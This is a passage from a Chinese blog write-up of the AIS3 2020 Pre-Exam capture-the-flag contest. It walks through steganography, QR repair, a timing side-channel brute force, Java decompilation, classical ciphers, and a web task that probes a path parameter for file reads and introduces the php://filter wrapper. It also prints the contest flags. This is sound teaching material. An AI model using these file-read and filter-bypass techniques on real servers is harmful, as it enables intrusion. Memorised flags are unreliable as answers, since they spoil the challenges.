</span></span><span class="line"><span class="cl">    000000e0: <span class="m">19</span> c2 6a 7b de <span class="m">79</span> a3 a2  3f 0a b3 e8 <span class="m">74</span> <span class="m">67</span> <span class="m">35</span> ec  <span class="p">|</span>..j<span class="o">{</span>.y..?...tg5.<span class="p">|</span>
</span></span><span class="line"><span class="cl">    000000f0: 1b 8b <span class="m">90</span> c9 <span class="m">76</span> <span class="m">30</span> ad ab  <span class="m">18</span> 7a e9 9a ed f7 8e 7c  <span class="p">|</span>....v0...z.....<span class="o">||</span>
</span></span><span class="line"><span class="cl">b1,rgb,lsb,xy       .. text: <span class="s2">&#34;The key is : lafire&#34;</span>
</span></span><span class="line"><span class="cl">b1,bgr,lsb,xy       .. &lt;wbStego <span class="nv">size</span><span class="o">=</span>865108, <span class="nv">data</span><span class="o">=</span><span class="s2">&#34;;M\xCD!,\xC5\xA0:\x807&#34;</span>..., <span class="nv">even</span><span class="o">=</span>false, <span class="nv">enc</span><span class="o">=</span><span class="s2">&#34;wbStego 2.x/3.x&#34;</span>, <span class="nv">controlbyte</span><span class="o">=</span><span class="s2">&#34;\x80&#34;</span>&gt;
</span></span><span class="line"><span class="cl">b3,r,lsb,xy         .. file: gfxboot compiled html <span class="nb">help</span> file
</span></span><span class="line"><span class="cl">b3,bgr,msb,xy       .. file: Applesoft BASIC program data, first line number <span class="m">2</span>
</span></span><span class="line"><span class="cl">b4,r,lsb,xy         .. file: PDP-11 UNIX/RT ldp
</span></span><span class="line"><span class="cl">b4,g,lsb,xy         .. file: a.out VAX demand paged <span class="o">(</span>first page unmapped<span class="o">)</span> pure executable not stripped
</span></span><span class="line"><span class="cl">b4,b,lsb,xy         .. file: Targa image data - Map <span class="m">16</span> x <span class="m">4096</span> x <span class="m">16</span> +16 +4353 <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">b4,rgb,lsb,xy       .. file: Targa image data - Map <span class="o">(</span>256-4112<span class="o">)</span> <span class="m">4096</span> x <span class="m">65536</span> x <span class="m">1</span> +4097 +257 - right <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">b4,bgr,lsb,xy       .. file: PDP-11 UNIX/RT ldp
</span></span></code></pre></div><p>可以看到密碼是<code>lafire</code>，解開壓縮檔，裡面的圖片就有 flag 了</p>
<p>至於上面這堆東西我是怎麼想到的，簡單來說是 Google，更準確的說就是 Google <code>CTF 圖片</code>，第一筆就是了</p>
<p>小心英文小寫<code>l</code>和數字<code>1</code>，看了好久 QQ</p>
<p>Flag：<code>AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}</code></p>
<h3 id="-soy" class="relative group">🌱 Soy </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%90%a7%20Misc/%f0%9f%8c%b1%20Soy/Soy_b692c44dd2a32b30eee8a9315091d79f7dd8c8a8.png"
      class="mx-auto my-0 rounded-md"
      alt="Soy QR Code"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>就是修復 QR Code，沒毛病</p>
<p>但是如果對 QR Code 有一些基礎的了解，是很有幫助的</p>
<p>比方說下面這張空的 QR Code</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/soy-blank.png"
      class="mx-auto my-0 rounded-md"
      alt="Blank QR Code"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>紅色的是固定的定位標記，藍色的是<a href="https://zh.wikipedia.org/wiki/QR%E7%A2%BC#%E7%BB%93%E6%9E%84" target="_blank" rel="noreferrer">Format Info<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>我是使用 <a href="https://merricx.github.io/qrazybox/" target="_blank" rel="noreferrer">QRazyBox<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 這個工具修復的，點擊藍藍色的區域會列出所有可能的格式</p>
<p>跟題目的 QR Code 對照，可以找到 Error Correction Level: <code>L</code>，Mask Pattern: <code>0</code>是唯一的可能解</p>
<p>接下來把題目剩下的格子一個一個填進去，解到一定的程度之後就可以掃的出來了</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/soy-decrypted.png"
      class="mx-auto my-0 rounded-md"
      alt="Decrypted"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>Flag：<code>AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}</code></p>
<h3 id="-saburo" class="relative group">👑 Saburo </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%90%a7%20Misc/%f0%9f%91%91%20Saburo/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這題一開始我本來也是沒什麼想法</p>
<p>頂多就是發現輸入<code>AIS3{</code>可以得到比其他隨機的 input 來得高一點的延遲</p>
<p>雖然有點頭緒了，但這種暴力解題實在是太白痴</p>
<p>所以我後來是先放著去解其他題</p>
<p>直到第二天晚上，我發現很多人在 Discord 聊天群上抱怨這一題的秒數很跳</p>
<p>然後才意識到，嗯 看起來我的方向應該是沒有錯：）</p>
<p>反正<del>水題</del>會的題目也解的差不多了，那就來硬幹這一題吧呵呵</p>
<p>我原本的想法是 用 Python 寫一個腳本</p>
<p>迭代所有 ASCII Pritable 的字，抓秒數最大的，然後重複到下大括號出現就是完整解碼了</p>
<p>大致上就是下面醬</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s2">&#34;60.250.197.227&#34;</span><span class="p">,</span> <span class="mi">11001</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>可是不管我怎麼調，他的秒數不會像在 Terminal 裡面一樣加上去</p>
<p>事到如今，只能把他改成 Shell Script 了</p>
<p>可是，好難 <del>而且這學期的 Unix 也沒教</del></p>
<p>於是絕望之際，我有一個大膽的想法</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/saburo-keyboard-maestro.png"
      class="mx-auto my-0 rounded-md"
      alt="Keyboard Maestro"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>如果沒用過的，這個叫按鍵精靈</p>
<p>基本上就是把一系列的鍵盤操作預錄成腳本然後自動執行</p>
<p>我是用 Mac 的 Keyboard Maestro，但我相信其他按鍵精靈也可以輕鬆達到類似的效果</p>
<p>啊執行起來就會像下面這樣</p>

<script
        src="https://asciinema.org/a/339381.js"
        id="asciicast-339381"
        data-startAt="0"
        data-autoplay="false"
        data-preload="true"
        data-loop="false"
        data-speed="1"
        
        
        
        
        async
      ></script>
<p>這一次 Iteration 的答案是<code>i</code>哦，你猜對了嗎：）</p>
<p>我也沒有，這是示範的所以我把次數調到只有 3 次</p>
<p>根據出題 TA 的說法，每解一個字就約有 5ms 的浮動範圍，後期浮動疊加起來會抖很大</p>
<p>所以到最後面接近結尾的時候</p>
<p>幾乎要測到 10 次以上取平均才比較有機會觀察到差異</p>
<p>或是就 發揮你的想像力</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//media/BQUITFiYVtNte/giphy.gif"
      class="mx-auto my-0 rounded-md"
      alt="imagination"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>You are my Ene&hellip;. energy?</p>
<p>好吧想像力薄弱的話就只能多試幾次ㄌ唄</p>
<p>最後快解出來的秒數大概會接近 400ms</p>
<p>Flag：<code>AIS3{A1r1ght_U_4r3_my_3n3nnies}</code></p>
<h2 id="-reverse" class="relative group">♻️ Reverse </h2><h3 id="-fallen-beat" class="relative group">🎹 Fallen Beat </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%e2%99%bb%ef%b8%8f%20Reverse/%f0%9f%8e%b9%20Fallen%20Beat/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這題其實是我解出來的第一題，</p>
<p>也是少數幾題我沒看其他 Write Up，100%自己解出來的題目</p>
<p>學了這麼多 OOP 總算有點屁用了 xDDDD</p>
<p>老實說我也不知道腦子哪裡撞到了，第一題居然挑這麼認真的題目</p>
<p>載下來很快就發現，啊 原來是音 game</p>
<p>只要打出 Full Combo 就可以得到 flag 了是吧</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/fallen-beat-full-combo.png"
      class="mx-auto my-0 rounded-md"
      alt="Full Combo"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>呵呵，呵呵呵</p>
<p>題目分類都叫 Reverse 了，<del>臭肥宅還想來硬的啊</del></p>
<p>還是先把 jar 重新 decompile 吧</p>
<p>其實我也不知道正規的 decompile 作法是什麼</p>
<p>但是隨便 Google 就有一大堆可以線上 decompile 的工具了</p>
<p>首先解完之後會有很多的 java 檔</p>
<p>針對整個 source code 全域搜索<code>flag</code>會找到<code>Visual/PanelEnding.java</code>裡的 method<code>setValue</code>裡有這段</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">t</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">mc</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="n">cache</span><span class="p">.</span><span class="na">size</span><span class="p">();</span><span class="w"> </span><span class="o">++</span><span class="n">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="kd">final</span><span class="w"> </span><span class="kt">byte</span><span class="o">[]</span><span class="w"> </span><span class="n">flag</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">flag</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="kd">final</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">n</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">flag</span><span class="p">.</span><span class="na">length</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="n">flag</span><span class="o">[</span><span class="n">n</span><span class="o">]</span><span class="w"> </span><span class="o">^=</span><span class="w"> </span><span class="p">(</span><span class="kt">byte</span><span class="p">)(</span><span class="n">Object</span><span class="p">)</span><span class="n">cache</span><span class="p">.</span><span class="na">get</span><span class="p">(</span><span class="n">i</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">fff</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="na">flag</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">this</span><span class="p">.</span><span class="na">text</span><span class="o">[</span><span class="n">0</span><span class="o">]</span><span class="p">.</span><span class="na">setText</span><span class="p">(</span><span class="n">String</span><span class="p">.</span><span class="na">format</span><span class="p">(</span><span class="s">&#34;Flag: %s&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">fff</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>可以看到 flag 並沒有被明文儲存，而是透過其中一個 class attributes<code>flag</code></p>
<p>和傳進來的 cache 做 xor，所以還要再往上追傳進來的 cache 是什麼</p>
<p>於是再用<code>SetValue</code>做一次全域搜索，可以看到<code>SetValue</code>只會在<code>Control/GameControl.java</code>裡被呼叫</p>
<p>打開這份 java 檔，呼叫<code>SetValue</code>中<code>cache</code>的參數是把<code>this.cache</code>傳下去</p>
<p>往上找可以看到<code>this.cache</code>是在這個 Class 的 Constructor 中宣告的</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="c1">// ...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="n">FileReader</span><span class="w"> </span><span class="n">fr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">FileReader</span><span class="p">(</span><span class="n">fumenPath</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">final</span><span class="w"> </span><span class="n">BufferedReader</span><span class="w"> </span><span class="n">br</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">BufferedReader</span><span class="p">(</span><span class="n">fr</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="c1">// ...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="k">this</span><span class="p">.</span><span class="na">cache</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">ArrayList</span><span class="o">&lt;</span><span class="n">Integer</span><span class="o">&gt;</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="c1">// ...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">br</span><span class="p">.</span><span class="na">ready</span><span class="p">())</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">br</span><span class="p">.</span><span class="na">readLine</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="na">charAt</span><span class="p">(</span><span class="n">0</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">&#39;*&#39;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="c1">// ...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">this</span><span class="p">.</span><span class="na">cache</span><span class="p">.</span><span class="na">add</span><span class="p">(</span><span class="n">a</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="c1">// ...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>但是這裡的<code>fumenPath</code>也是在 class 的宣告時傳進來的</p>
<p>於是再用<code>GameControl</code>做第三次的全域搜索</p>
<p>就會發現<code>GameControl</code>只會在<code>Control/Frame.java</code>中宣告</p>
<p>於是我們終於找到<code>fumenPath</code>是的值是<code>songs/gekkou/hell.txt</code></p>
<p>重新把 code 打包成<a href="https://github.com/tomy0000000/AIS3-2020-PreExam/blob/main/Solving%20Source%20Code/%F0%9F%8E%B9%20Fallen%20Beat/Exploit.java" target="_blank" rel="noreferrer"><code>Exploit.java</code><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>然後把原本解壓縮目錄裡的<code>songs/gekkou/hell.txt</code>移到這個 java 檔的同一個目錄底下執行就可以得到 flag 了</p>
<p>特別小心原本 GameControl 裡是用 br 來讀 cache 的，可是在讀 cache 之前有多一行</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="k">this</span><span class="p">.</span><span class="na">bpm</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Integer</span><span class="p">.</span><span class="na">parseInt</span><span class="p">(</span><span class="n">br</span><span class="p">.</span><span class="na">readLine</span><span class="p">());</span><span class="w">
</span></span></span></code></pre></div><p>所以這一行也必須加進<code>Expolit.java</code>裡，不然轉換會出錯</p>
<p>Flag：<code>AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}</code></p>
<h2 id="-crypto" class="relative group">🙊 Crypto </h2><h3 id="-brontosaurus" class="relative group">🦕 Brontosaurus </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%99%8a%20Crypto/%f0%9f%a6%95%20Brontosaurus/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>從題目的說明可以看到</p>
<p><del>這題是考古題，所以立馬打開 Google 搜尋<code>AIS3 2019 Pre Exam Write Up</code></del></p>
<p>最後一個關鍵字<code>KcufsJ</code>，反過來變成<code>JsfucK</code> (其實如果直接把<code>KcufsJ</code>拿去 google 也可以發現)</p>
<p>這是一種特殊的 JavaScript，可以在 Google 上隨便找一個解碼器</p>
<p>然後把題目的文字檔塞進去，發現不能解</p>
<p>因為題目有提示過，得要先反轉一次才能解碼</p>
<p>Flag：<code>AIS3{Br0n7Os4uru5_ch3at_3asi1Y}</code></p>
<h3 id="-t-rex" class="relative group">🦖 T-Rex </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%99%8a%20Crypto/%f0%9f%a6%96%20T-Rex/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這題的關鍵字在<code>nihilist</code>，</p>
<p>a.k.a. 虛無主義者，其實跟解題一點關係都沒有</p>
<p>但是 nihilist cipher 有，至於我是怎麼知道的</p>
<p>就&hellip;Google 關鍵字<code>nihilist CTF</code>或<code>nihilist encoding</code></p>
<p>nihilist cipher 由兩個關鍵部件組成，一個是加密盤，一個是密文</p>
<p>由密文一個一個對應加密盤解碼，就可以回推出解密的 Flag</p>
<p>雖然網路上好像有不少現成的工具，但我找不太到適合的</p>
<p>所以自己用 Python 寫了一個，有興趣的可以看看<a href="https://github.com/tomy0000000/AIS3-2020-PreExam/blob/main/Solving%20Source%20Code/%F0%9F%A6%96%20T-Rex/T-Rex.py" target="_blank" rel="noreferrer"><code>T-Rex.py</code><svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>Flag：</p>
<pre tabindex="0"><code>AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}
</code></pre><h2 id="-web" class="relative group">🌐 Web </h2><h3 id="-shark" class="relative group">🦈 Shark </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%8c%90%20Web/%f0%9f%a6%88%20Shark/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>從題目的描述，我猜這題應該是某一年考古題的進化版</p>
<p>但難得這題我的解題靈感並不是來自前幾年的 Writeup</p>
<p>首先來看主頁</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/shark-home.png"
      class="mx-auto my-0 rounded-md"
      alt="home"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>原始碼也沒什麼特別的，點進連結看看</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/shark-hint-txt.png"
      class="mx-auto my-0 rounded-md"
      alt="hint.txt"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>提示說 flag 並不在執行 server 的這台主機上，而是在同一個區域網路下的另一台 web 伺服器伺服器上</p>
<p>再觀察網址的部分可以猜<code>path</code>後面帶的參數可以用來檢視主機上的檔案</p>
<p>我有點忘記當時是看哪個 writeup 或教學了</p>
<p>但總之就是，Unix 系統經常在<code>/proc/net/fib_trie</code>中存入區域網路相關的資訊</p>
<p>所以先試試</p>
<p><a href="https://shark.ais3.org/?path=/proc/net/fib_trie" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=/proc/net/fib_trie<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>可是會被拒絕存取，換別的看看</p>
<p><a href="https://shark.ais3.org/?path=index.php" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=index.php<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/shark-index-php.png"
      class="mx-auto my-0 rounded-md"
      alt="index.php"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這裡可以發現這一段 php 會用 regular expression 阻擋絕對路徑和使用<code>..</code>作為路徑開頭的檔案</p>
<p>這時候就要引入另一個 php 的弱點了：<a href="https://www.php.net/manual/en/wrappers.php.php" target="_blank" rel="noreferrer">php://<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p><code>php://</code>是一個 php 自訂的 protocal，可以用來處理 data stream</p>
<p>比方說範例中的</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">readfile</span><span class="p">(</span><span class="s2">&#34;php://filter/resource=http://www.example.com&#34;</span><span class="p">);</span>
